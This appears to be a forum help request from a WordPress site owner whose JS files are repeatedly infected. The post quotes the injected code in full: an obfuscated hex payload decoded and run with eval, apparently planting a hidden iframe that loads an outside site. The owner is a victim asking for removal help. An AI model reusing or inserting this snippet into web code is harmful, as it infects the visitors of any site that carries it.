My website techivian.com has been infected by a malware. The malware inserts code shown below into all my js files. I can reinstall wordpress and remove the code from theme js files manually by editing those files, but the code appends to the js files after some time again. Need help.
Code: /*8b037f579283cbcc60bb6b5b498085cc*/;(function(){var yizhftas="";var ahtsnzhe="77696e646f772e6f6e6c6f6164203d2066756e6374696f6e28297b66756e6374696f6e20783232627128612c622c63297b69662863297b7661722064203d206e6577204461746528293b642e7365744461746528642e6765744461746528292b63293b7d6966286120262620622920646f63756d656e742e636f6f6b6965203d20612b273d272b622b2863203f20273b20657870697265733d272b642e746f555443537472696e672829203a202727293b656c73652072657475726e2066616c73653b7d66756e6374696f6e2078333362712861297b7661722062203d206e65772052656745787028612b273d285b5e3b5d297b312c7d27293b7661722063203d20622e6578656328646f63756d656e742e636f6f6b6965293b69662863292063203d20635b305d2e73706c697428273d27293b656c73652072657475726e2066616c73653b72657475726e20635b315d203f20635b315d203a2066616c73653b7d766172207833336471203d2078333362712822316337363462363563643930626366663337663832356263376132363361656122293b69662820783333647120213d2022613131353436393533653937383366633933613064363065663639376633663122297b783232627128223163373634623635636439306263666633376638323562633761323633616561222c226131313534363935336539373833666339336130643630656636393766336631222c31293b766172207832326471203d20646f63756d656e742e637265617465456c656d656e74282264697622293b766172207832327171203d2022687474703a2f2f626c6f672e6b7261736e756968616d656c656f6e2e696e666f2f68656c6c6f6d796c6974746c6570696767792f3f4149494a746150576b6f5a584766643d4777534a61464f4657577a26694164596e545661684e6973424d743d746b564b687272625071496a6b54457a7a2665635a476a4144513d46554174485570466a6f6c7645467663676a5826484e544844426149715576764b7977673d6452506c527a68665a456558426c73466667526c75264d7a6257414e6d4c747a4a443d437945565a7467614a4346266b6579776f72643d3438636264386638636338623633646234333937616332393466303332366262264d496e4e4159456d643d627a474b6a5645486764716c26484e6e686a6269445a786d453d56766476536864584274223b78323264712e696e6e657248544d4c3d223c646976207374796c653d27706f736974696f6e3a6162736f6c7574653b7a2d696e6465783a313030303b746f703a2d3130303070783b6c6566743a2d3939393970783b273e3c696672616d65207372633d27222b78323271712b22273e3c2f696672616d653e3c2f6469763e223b646f63756d656e742e626f64792e617070656e644368696c64287832326471293b7d7d";for (var refryaba=0;refryaba<ahtsnzhe.length;refryaba+=2){yizhftas=yizhftas+parseInt(ahtsnzhe.substring(refryaba,refryaba+2), 16)+",";}yizhftas=yizhftas.substring(0,yizhftas.length-1);eval(eval('String.fromCharCode('+yizhftas+')'));})();/*8b037f579283cbcc60bb6b5b498085cc*/